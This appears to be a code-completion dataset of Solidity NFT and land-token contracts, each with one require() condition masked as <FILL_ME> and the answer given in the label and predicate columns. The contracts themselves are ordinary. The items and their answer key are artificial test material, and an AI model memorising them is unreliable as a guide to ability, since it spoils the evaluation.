comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"You hold too many. Maybe next year *wink*" | pragma solidity ^0.8.4;
contract ThisAgedWell is Ownable, ERC721URIStorage {
constructor() ERC721("This Aged Well", "TAW") {}
mapping(address => uint256) private _addressTokenCount;
mapping(uint256 => bool) private _minted;
uint256 public tokensMinted = 0;
uint256 public lastBlockMinted = 0;
function svgToImageURI(string memory _source) public pure returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function setLastBlockMinted(uint256 blockNumber) public onlyOwner {
}
function formatTokenURI(string memory _imageURI, string memory _name, string memory _description, string memory _properties) public pure returns (string memory) {
}
function generateSVG(uint256 timestamp, uint256 numMinted) internal pure returns (string memory) {
}
function mint() public {
uint256 numMinted = totalSupply();
if (numMinted > 364) {
require(block.number >= (lastBlockMinted + 7200 + numMinted), "No, not yet!");
require(_addressTokenCount[msg.sender] > 0, "You must hold a key to obtain a key...(so ambiguous)");
require(<FILL_ME>)
lastBlockMinted = block.number;
} else {
require(_addressTokenCount[msg.sender] < 2, "Was one not enough?!(thank you for minting)");
}
require(!_minted[numMinted], "If you see this I probably messed up");
_minted[numMinted] = true;
string memory imageURI = svgToImageURI(generateSVG(block.timestamp, numMinted));
string memory name = string(abi.encodePacked("This Aged Well - ", numMinted));
string memory description = "Time since mint. With color. Yeehaw!";
string memory properties = "dontworryaboutit";
string memory tokenURI = formatTokenURI(imageURI, name, description, properties);
_mint(msg.sender, numMinted);
_setTokenURI(numMinted, tokenURI);
_addressTokenCount[msg.sender]++;
tokensMinted = numMinted + 1;
}
}
| _addressTokenCount[msg.sender]<((numMinted/364)+1),"You hold too many. Maybe next year *wink*" | 217,202 | _addressTokenCount[msg.sender]<((numMinted/364)+1) |
"Was one not enough?!(thank you for minting)" | pragma solidity ^0.8.4;
contract ThisAgedWell is Ownable, ERC721URIStorage {
constructor() ERC721("This Aged Well", "TAW") {}
mapping(address => uint256) private _addressTokenCount;
mapping(uint256 => bool) private _minted;
uint256 public tokensMinted = 0;
uint256 public lastBlockMinted = 0;
function svgToImageURI(string memory _source) public pure returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function setLastBlockMinted(uint256 blockNumber) public onlyOwner {
}
function formatTokenURI(string memory _imageURI, string memory _name, string memory _description, string memory _properties) public pure returns (string memory) {
}
function generateSVG(uint256 timestamp, uint256 numMinted) internal pure returns (string memory) {
}
function mint() public {
uint256 numMinted = totalSupply();
if (numMinted > 364) {
require(block.number >= (lastBlockMinted + 7200 + numMinted), "No, not yet!");
require(_addressTokenCount[msg.sender] > 0, "You must hold a key to obtain a key...(so ambiguous)");
require(_addressTokenCount[msg.sender] < ((numMinted/364)+1), "You hold too many. Maybe next year *wink*");
lastBlockMinted = block.number;
} else {
require(<FILL_ME>)
}
require(!_minted[numMinted], "If you see this I probably messed up");
_minted[numMinted] = true;
string memory imageURI = svgToImageURI(generateSVG(block.timestamp, numMinted));
string memory name = string(abi.encodePacked("This Aged Well - ", numMinted));
string memory description = "Time since mint. With color. Yeehaw!";
string memory properties = "dontworryaboutit";
string memory tokenURI = formatTokenURI(imageURI, name, description, properties);
_mint(msg.sender, numMinted);
_setTokenURI(numMinted, tokenURI);
_addressTokenCount[msg.sender]++;
tokensMinted = numMinted + 1;
}
}
| _addressTokenCount[msg.sender]<2,"Was one not enough?!(thank you for minting)" | 217,202 | _addressTokenCount[msg.sender]<2 |
"If you see this I probably messed up" | pragma solidity ^0.8.4;
contract ThisAgedWell is Ownable, ERC721URIStorage {
constructor() ERC721("This Aged Well", "TAW") {}
mapping(address => uint256) private _addressTokenCount;
mapping(uint256 => bool) private _minted;
uint256 public tokensMinted = 0;
uint256 public lastBlockMinted = 0;
function svgToImageURI(string memory _source) public pure returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function setLastBlockMinted(uint256 blockNumber) public onlyOwner {
}
function formatTokenURI(string memory _imageURI, string memory _name, string memory _description, string memory _properties) public pure returns (string memory) {
}
function generateSVG(uint256 timestamp, uint256 numMinted) internal pure returns (string memory) {
}
function mint() public {
uint256 numMinted = totalSupply();
if (numMinted > 364) {
require(block.number >= (lastBlockMinted + 7200 + numMinted), "No, not yet!");
require(_addressTokenCount[msg.sender] > 0, "You must hold a key to obtain a key...(so ambiguous)");
require(_addressTokenCount[msg.sender] < ((numMinted/364)+1), "You hold too many. Maybe next year *wink*");
lastBlockMinted = block.number;
} else {
require(_addressTokenCount[msg.sender] < 2, "Was one not enough?!(thank you for minting)");
}
require(<FILL_ME>)
_minted[numMinted] = true;
string memory imageURI = svgToImageURI(generateSVG(block.timestamp, numMinted));
string memory name = string(abi.encodePacked("This Aged Well - ", numMinted));
string memory description = "Time since mint. With color. Yeehaw!";
string memory properties = "dontworryaboutit";
string memory tokenURI = formatTokenURI(imageURI, name, description, properties);
_mint(msg.sender, numMinted);
_setTokenURI(numMinted, tokenURI);
_addressTokenCount[msg.sender]++;
tokensMinted = numMinted + 1;
}
}
| !_minted[numMinted],"If you see this I probably messed up" | 217,202 | !_minted[numMinted] |
"Sale is closed." | // SPDX-License-Identifier: MIT
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@ %%%%%%%%%%%% %%%%%%%%#*. @@@@
// @@@@ ,#%%%%%%%%&(%%%%%%%%%/ %%%%%. %%%%%%%%%%%%%%*/*%%%*# (%%%%.*.*#%%%#%%%%%%%%%% @@@@
// @@@@ %%%%%%%%%%%%* (%%,%%&%%%%%/ %%%%%%%(/ %%%%% *%%%%%%%%#% %%%%% %%%%%%%#%%.%/ @@@@
// @@@@ *%%%&# %%%%% %%%%% %%%%% %%%%&(%%%% %%%%&.%%&% %%%%%%%%%%%% %%%% @@@@
// @@@@ %%%%% .%%%%%%%%%%%%%,%%%%%% %%%%% %%% %%%%.*%%%%% %%%%% ,%#%%%%%%%%% @@@@
// @@@@ %%%%/* %%%%%%%%%%%%%, %%%%%%%%%%%%%%% %%%%%%%%%%,% %%%%% %%%%%%%%%&%/, %%%%, @@@@
// @@@@ %%%%& %%%%# %%%%% %%%%% %%%%* .,*. %%%%( ,(%%&%(*.*###&%%%%%%%%%.% @@@@
// @@@@ %%&#* /%/.. . #%%%%%%%( @@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title Tradies Founders Pass
* @author @jonathansnow
* @notice Tradies Founders Pass is an ERC721 token that provides access to the Tradies ecosystem.
*/
contract TradiesFoundersPass is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _nextTokenId;
string private _baseTokenURI;
uint256 public constant TEAM_SUPPLY = 20;
uint256 public constant MAX_SUPPLY = 400;
uint256 public constant MAX_MINT = 3;
uint256 public constant PRICE = 0.15 ether;
bool public saleIsActive;
bool public saleIsLocked;
mapping (address => uint256) public mintBalance;
address public a1 = 0xa238Db3aE883350DaDa3592345e8A0d318b06e82; // Treasury
address public constant a2 = 0xCAe379DD33Cc01D276E57b40924C20a8312197AA; // Dev
address public constant a3 = 0x46CeDbDf6D4E038293C66D9e0E999A5e97a5119C; // Team
constructor() ERC721("TradiesFoundersPass", "TDFP") {
}
/**
* @notice Public minting function for whitelisted addresses
* @dev Sale must be active, sale must not be locked, and minter must not mint more than 3 tokens..
* @param quantity the number of tokens to mint
*/
function mint(uint256 quantity) public payable {
require(saleIsActive, "Sale is not active yet.");
require(<FILL_ME>)
require(quantity > 0, "Must mint more than 0.");
require(totalSupply() + quantity <= MAX_SUPPLY, "Exceeds max available.");
require(mintBalance[msg.sender] + quantity <= MAX_MINT, "No mints remaining.");
require(msg.value == quantity * PRICE, "Wrong ETH value sent.");
mintBalance[msg.sender] += quantity;
for (uint256 i = 0; i < quantity; i++) {
_safeMint(msg.sender, _nextTokenId.current());
_nextTokenId.increment();
}
}
/**
* @notice Get the number of passes minted
* @return uint256 number of passes minted
*/
function totalSupply() public view returns (uint256) {
}
/**
* @notice Get baseURI
* @dev Overrides default ERC721 _baseURI()
* @return baseURI the base token URI for the collection
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @notice Update the baseURI
* @dev URI must include trailing slash
* @param baseURI the new metadata URI
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @notice Toggle public sale on/off
*/
function toggleSale() external onlyOwner {
}
/**
* @notice Permanently disable the public sale
* @dev This is a supply shrink mechanism in the event we want to permanently prevent further minting.
*/
function disableSale() external onlyOwner {
}
/**
* @notice Admin minting function
* @dev Allows the team to mint up to 20 tokens. The tokens must be minted prior to public sale.
* @param quantity the number of tokens to mint
* @param recipient the address to mint the tokens to
*/
function adminMint(uint256 quantity, address recipient) public onlyOwner {
}
/**
* @notice Update the Treasury address
* @dev Allows the team to update the address they will use to receive Treasury funds.
*/
function updateTreasury(address newAddress) external onlyOwner {
}
/**
* @notice Function to withdraw funds from the contract with splits
* @dev Transfers 92% of the contract ETH balance to the Treasury address, 5% to dev partner, and 3% to the
* mod Gnosis wallet. Any balance remaining after the split transfers will be sent to the Treasury.
*/
function withdrawBalance() external onlyOwner {
}
/**
* @notice Function to send ETH to a specific address
* @dev Using call to ensure that transfer will succeed for both EOA and Gnosis Addresses.
*/
function _withdraw(address _address, uint256 _amount) private {
}
}
| !saleIsLocked,"Sale is closed." | 217,205 | !saleIsLocked |
"No mints remaining." | // SPDX-License-Identifier: MIT
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@ %%%%%%%%%%%% %%%%%%%%#*. @@@@
// @@@@ ,#%%%%%%%%&(%%%%%%%%%/ %%%%%. %%%%%%%%%%%%%%*/*%%%*# (%%%%.*.*#%%%#%%%%%%%%%% @@@@
// @@@@ %%%%%%%%%%%%* (%%,%%&%%%%%/ %%%%%%%(/ %%%%% *%%%%%%%%#% %%%%% %%%%%%%#%%.%/ @@@@
// @@@@ *%%%&# %%%%% %%%%% %%%%% %%%%&(%%%% %%%%&.%%&% %%%%%%%%%%%% %%%% @@@@
// @@@@ %%%%% .%%%%%%%%%%%%%,%%%%%% %%%%% %%% %%%%.*%%%%% %%%%% ,%#%%%%%%%%% @@@@
// @@@@ %%%%/* %%%%%%%%%%%%%, %%%%%%%%%%%%%%% %%%%%%%%%%,% %%%%% %%%%%%%%%&%/, %%%%, @@@@
// @@@@ %%%%& %%%%# %%%%% %%%%% %%%%* .,*. %%%%( ,(%%&%(*.*###&%%%%%%%%%.% @@@@
// @@@@ %%&#* /%/.. . #%%%%%%%( @@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title Tradies Founders Pass
* @author @jonathansnow
* @notice Tradies Founders Pass is an ERC721 token that provides access to the Tradies ecosystem.
*/
contract TradiesFoundersPass is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _nextTokenId;
string private _baseTokenURI;
uint256 public constant TEAM_SUPPLY = 20;
uint256 public constant MAX_SUPPLY = 400;
uint256 public constant MAX_MINT = 3;
uint256 public constant PRICE = 0.15 ether;
bool public saleIsActive;
bool public saleIsLocked;
mapping (address => uint256) public mintBalance;
address public a1 = 0xa238Db3aE883350DaDa3592345e8A0d318b06e82; // Treasury
address public constant a2 = 0xCAe379DD33Cc01D276E57b40924C20a8312197AA; // Dev
address public constant a3 = 0x46CeDbDf6D4E038293C66D9e0E999A5e97a5119C; // Team
constructor() ERC721("TradiesFoundersPass", "TDFP") {
}
/**
* @notice Public minting function for whitelisted addresses
* @dev Sale must be active, sale must not be locked, and minter must not mint more than 3 tokens..
* @param quantity the number of tokens to mint
*/
function mint(uint256 quantity) public payable {
require(saleIsActive, "Sale is not active yet.");
require(!saleIsLocked , "Sale is closed.");
require(quantity > 0, "Must mint more than 0.");
require(totalSupply() + quantity <= MAX_SUPPLY, "Exceeds max available.");
require(<FILL_ME>)
require(msg.value == quantity * PRICE, "Wrong ETH value sent.");
mintBalance[msg.sender] += quantity;
for (uint256 i = 0; i < quantity; i++) {
_safeMint(msg.sender, _nextTokenId.current());
_nextTokenId.increment();
}
}
/**
* @notice Get the number of passes minted
* @return uint256 number of passes minted
*/
function totalSupply() public view returns (uint256) {
}
/**
* @notice Get baseURI
* @dev Overrides default ERC721 _baseURI()
* @return baseURI the base token URI for the collection
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @notice Update the baseURI
* @dev URI must include trailing slash
* @param baseURI the new metadata URI
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @notice Toggle public sale on/off
*/
function toggleSale() external onlyOwner {
}
/**
* @notice Permanently disable the public sale
* @dev This is a supply shrink mechanism in the event we want to permanently prevent further minting.
*/
function disableSale() external onlyOwner {
}
/**
* @notice Admin minting function
* @dev Allows the team to mint up to 20 tokens. The tokens must be minted prior to public sale.
* @param quantity the number of tokens to mint
* @param recipient the address to mint the tokens to
*/
function adminMint(uint256 quantity, address recipient) public onlyOwner {
}
/**
* @notice Update the Treasury address
* @dev Allows the team to update the address they will use to receive Treasury funds.
*/
function updateTreasury(address newAddress) external onlyOwner {
}
/**
* @notice Function to withdraw funds from the contract with splits
* @dev Transfers 92% of the contract ETH balance to the Treasury address, 5% to dev partner, and 3% to the
* mod Gnosis wallet. Any balance remaining after the split transfers will be sent to the Treasury.
*/
function withdrawBalance() external onlyOwner {
}
/**
* @notice Function to send ETH to a specific address
* @dev Using call to ensure that transfer will succeed for both EOA and Gnosis Addresses.
*/
function _withdraw(address _address, uint256 _amount) private {
}
}
| mintBalance[msg.sender]+quantity<=MAX_MINT,"No mints remaining." | 217,205 | mintBalance[msg.sender]+quantity<=MAX_MINT |
"Exceeds max team amount." | // SPDX-License-Identifier: MIT
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@ %%%%%%%%%%%% %%%%%%%%#*. @@@@
// @@@@ ,#%%%%%%%%&(%%%%%%%%%/ %%%%%. %%%%%%%%%%%%%%*/*%%%*# (%%%%.*.*#%%%#%%%%%%%%%% @@@@
// @@@@ %%%%%%%%%%%%* (%%,%%&%%%%%/ %%%%%%%(/ %%%%% *%%%%%%%%#% %%%%% %%%%%%%#%%.%/ @@@@
// @@@@ *%%%&# %%%%% %%%%% %%%%% %%%%&(%%%% %%%%&.%%&% %%%%%%%%%%%% %%%% @@@@
// @@@@ %%%%% .%%%%%%%%%%%%%,%%%%%% %%%%% %%% %%%%.*%%%%% %%%%% ,%#%%%%%%%%% @@@@
// @@@@ %%%%/* %%%%%%%%%%%%%, %%%%%%%%%%%%%%% %%%%%%%%%%,% %%%%% %%%%%%%%%&%/, %%%%, @@@@
// @@@@ %%%%& %%%%# %%%%% %%%%% %%%%* .,*. %%%%( ,(%%&%(*.*###&%%%%%%%%%.% @@@@
// @@@@ %%&#* /%/.. . #%%%%%%%( @@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title Tradies Founders Pass
* @author @jonathansnow
* @notice Tradies Founders Pass is an ERC721 token that provides access to the Tradies ecosystem.
*/
contract TradiesFoundersPass is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _nextTokenId;
string private _baseTokenURI;
uint256 public constant TEAM_SUPPLY = 20;
uint256 public constant MAX_SUPPLY = 400;
uint256 public constant MAX_MINT = 3;
uint256 public constant PRICE = 0.15 ether;
bool public saleIsActive;
bool public saleIsLocked;
mapping (address => uint256) public mintBalance;
address public a1 = 0xa238Db3aE883350DaDa3592345e8A0d318b06e82; // Treasury
address public constant a2 = 0xCAe379DD33Cc01D276E57b40924C20a8312197AA; // Dev
address public constant a3 = 0x46CeDbDf6D4E038293C66D9e0E999A5e97a5119C; // Team
constructor() ERC721("TradiesFoundersPass", "TDFP") {
}
/**
* @notice Public minting function for whitelisted addresses
* @dev Sale must be active, sale must not be locked, and minter must not mint more than 3 tokens..
* @param quantity the number of tokens to mint
*/
function mint(uint256 quantity) public payable {
}
/**
* @notice Get the number of passes minted
* @return uint256 number of passes minted
*/
function totalSupply() public view returns (uint256) {
}
/**
* @notice Get baseURI
* @dev Overrides default ERC721 _baseURI()
* @return baseURI the base token URI for the collection
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @notice Update the baseURI
* @dev URI must include trailing slash
* @param baseURI the new metadata URI
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @notice Toggle public sale on/off
*/
function toggleSale() external onlyOwner {
}
/**
* @notice Permanently disable the public sale
* @dev This is a supply shrink mechanism in the event we want to permanently prevent further minting.
*/
function disableSale() external onlyOwner {
}
/**
* @notice Admin minting function
* @dev Allows the team to mint up to 20 tokens. The tokens must be minted prior to public sale.
* @param quantity the number of tokens to mint
* @param recipient the address to mint the tokens to
*/
function adminMint(uint256 quantity, address recipient) public onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < quantity; i++) {
_safeMint(recipient, _nextTokenId.current());
_nextTokenId.increment();
}
}
/**
* @notice Update the Treasury address
* @dev Allows the team to update the address they will use to receive Treasury funds.
*/
function updateTreasury(address newAddress) external onlyOwner {
}
/**
* @notice Function to withdraw funds from the contract with splits
* @dev Transfers 92% of the contract ETH balance to the Treasury address, 5% to dev partner, and 3% to the
* mod Gnosis wallet. Any balance remaining after the split transfers will be sent to the Treasury.
*/
function withdrawBalance() external onlyOwner {
}
/**
* @notice Function to send ETH to a specific address
* @dev Using call to ensure that transfer will succeed for both EOA and Gnosis Addresses.
*/
function _withdraw(address _address, uint256 _amount) private {
}
}
| totalSupply()+quantity<=TEAM_SUPPLY,"Exceeds max team amount." | 217,205 | totalSupply()+quantity<=TEAM_SUPPLY |
"9" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import '@openzeppelin/contracts/utils/math/Math.sol';
pragma solidity ^0.8.0;
interface IVRFv2SubscriptionManager {
function requestRandomWords() external returns(uint256);
}
contract Obelisk is ERC1155, Ownable {
using Strings for uint256;
string public constant NAME = "Obelisk";
string public constant SYMBOL = "OBELISK";
address public tropyAddress;
string public baseTokenURI;
uint256 public maxSupply = 2400;
uint256 public maxSupplyperID = 500;
uint256 public maxTokenID = 4;
uint256 public rewardRatePerDay = 20000000000000000000; // 20 $TROPY
uint256 public totalNum = 1;
uint256 private oneDay = 1 days;
bool public paused = false;
bytes32 internal entropySauce;
uint256[] public initTropyAmountToMint = [90, 120, 150, 180, 210, 240, 270, 300];
uint256 public totalMinted = 0;
mapping(uint8 => uint256) public supplies;
mapping(address => uint256) public amountPerWallets;
address public stakingAddress = address(0);
struct HOLDINFO{
uint256 rewardLockup;
uint256 depositTime;
}
mapping(address => mapping(uint256 => HOLDINFO)) public holdInfo;
mapping(address => uint256) public genesisInfo;
IVRFv2SubscriptionManager public vrfRandomGenerator;
modifier onlyNotPaused() {
}
modifier noCheaters() {
uint256 size = 0;
address acc = msg.sender;
assembly { size := extcodesize(acc)}
require(<FILL_ME>)
_;
// We'll use the last caller hash to add entropy to next caller
entropySauce = keccak256(abi.encodePacked(acc, block.coinbase));
}
modifier onlyStakingContract() {
}
event TropyAddressChanged(address indexed owner, address indexed tropyAddress);
event StakingAddressChanged(address indexed owner, address indexed stakingAddress);
constructor(string memory _baseTokenURI, address _tropyAddress, address _vrfRandomGenerator) ERC1155(_baseTokenURI) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function changeTropyAddress(address _tropyAddress) public onlyOwner {
}
function changeStakingAddress(address _stakingAddress) public onlyOwner {
}
function getRewardNum(address _account) public view returns(uint256) {
}
function getDailyRewardOfUser(address _account) public view returns(uint256) {
}
function reSetRewardInfo(address _account) internal {
}
/// @dev Overridden to handle secondary sales
function _beforeTokenTransfer(
address,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory
) internal virtual override {
}
/// @notice Get Tropy Amount To Mint
/// @dev $TROPY cost for obelisks increases based on both:
/// - amount held by wallet
/// - and total supply of obelisks
/// Used by Dapp.
function getInitTropyAmountToMint() public view returns (uint256) {
}
/// @notice Get Tropy Amount To Mint
/// @dev $TROPY cost for obelisks increases based on both:
/// - amount held by wallet
/// - and total supply of obelisks
function getTropyAmountToMint(address add, uint256 amount) public view returns (uint256) {
}
function mint(uint256 amount) public onlyNotPaused noCheaters {
}
function _rand() internal view returns (uint256) {
}
function random(uint256 seed) public view returns (uint256) {
}
function requestRandomWords() internal returns(uint256) {
}
function getRandomID() public returns(uint256) {
}
function burn(address from, uint256 id, uint256 amount) external {
}
function _baseURI() internal view virtual returns (string memory) {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function approve(address tokenAddress, address spender, uint256 amount) public onlyOwner returns (bool) {
}
function recoverTropy() external onlyOwner {
}
function stakeGenesis(address _account) external onlyStakingContract {
}
function unStakeGenesis(address _account) external onlyStakingContract {
}
function harvest(address _account) external onlyStakingContract {
}
function withdraw() public payable onlyOwner {
}
}
| (msg.sender==tx.origin&&size==0),"9" | 217,369 | (msg.sender==tx.origin&&size==0) |
"11" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import '@openzeppelin/contracts/utils/math/Math.sol';
pragma solidity ^0.8.0;
interface IVRFv2SubscriptionManager {
function requestRandomWords() external returns(uint256);
}
contract Obelisk is ERC1155, Ownable {
using Strings for uint256;
string public constant NAME = "Obelisk";
string public constant SYMBOL = "OBELISK";
address public tropyAddress;
string public baseTokenURI;
uint256 public maxSupply = 2400;
uint256 public maxSupplyperID = 500;
uint256 public maxTokenID = 4;
uint256 public rewardRatePerDay = 20000000000000000000; // 20 $TROPY
uint256 public totalNum = 1;
uint256 private oneDay = 1 days;
bool public paused = false;
bytes32 internal entropySauce;
uint256[] public initTropyAmountToMint = [90, 120, 150, 180, 210, 240, 270, 300];
uint256 public totalMinted = 0;
mapping(uint8 => uint256) public supplies;
mapping(address => uint256) public amountPerWallets;
address public stakingAddress = address(0);
struct HOLDINFO{
uint256 rewardLockup;
uint256 depositTime;
}
mapping(address => mapping(uint256 => HOLDINFO)) public holdInfo;
mapping(address => uint256) public genesisInfo;
IVRFv2SubscriptionManager public vrfRandomGenerator;
modifier onlyNotPaused() {
}
modifier noCheaters() {
}
modifier onlyStakingContract() {
}
event TropyAddressChanged(address indexed owner, address indexed tropyAddress);
event StakingAddressChanged(address indexed owner, address indexed stakingAddress);
constructor(string memory _baseTokenURI, address _tropyAddress, address _vrfRandomGenerator) ERC1155(_baseTokenURI) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function changeTropyAddress(address _tropyAddress) public onlyOwner {
}
function changeStakingAddress(address _stakingAddress) public onlyOwner {
}
function getRewardNum(address _account) public view returns(uint256) {
}
function getDailyRewardOfUser(address _account) public view returns(uint256) {
}
function reSetRewardInfo(address _account) internal {
}
/// @dev Overridden to handle secondary sales
function _beforeTokenTransfer(
address,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory
) internal virtual override {
}
/// @notice Get Tropy Amount To Mint
/// @dev $TROPY cost for obelisks increases based on both:
/// - amount held by wallet
/// - and total supply of obelisks
/// Used by Dapp.
function getInitTropyAmountToMint() public view returns (uint256) {
}
/// @notice Get Tropy Amount To Mint
/// @dev $TROPY cost for obelisks increases based on both:
/// - amount held by wallet
/// - and total supply of obelisks
function getTropyAmountToMint(address add, uint256 amount) public view returns (uint256) {
}
function mint(uint256 amount) public onlyNotPaused noCheaters {
uint256 tropyAmountToMint = getTropyAmountToMint(msg.sender, amount);
bool transferResult = IERC20(tropyAddress).transferFrom(msg.sender, address(this), tropyAmountToMint);
require(transferResult, "10");
require(<FILL_ME>)
amountPerWallets[msg.sender] += amount;
totalMinted += amount;
if(transferResult){
for(uint256 i = 0; i < amount;) {
uint256 randomID = getRandomID();
_mint(msg.sender, randomID, 1, "");
unchecked{ i++; }
}
}
}
function _rand() internal view returns (uint256) {
}
function random(uint256 seed) public view returns (uint256) {
}
function requestRandomWords() internal returns(uint256) {
}
function getRandomID() public returns(uint256) {
}
function burn(address from, uint256 id, uint256 amount) external {
}
function _baseURI() internal view virtual returns (string memory) {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function approve(address tokenAddress, address spender, uint256 amount) public onlyOwner returns (bool) {
}
function recoverTropy() external onlyOwner {
}
function stakeGenesis(address _account) external onlyStakingContract {
}
function unStakeGenesis(address _account) external onlyStakingContract {
}
function harvest(address _account) external onlyStakingContract {
}
function withdraw() public payable onlyOwner {
}
}
| totalMinted+amount<=maxSupply,"11" | 217,369 | totalMinted+amount<=maxSupply |
"token does not exist" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
require(<FILL_ME>)
return id % GRID_SIZE;
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
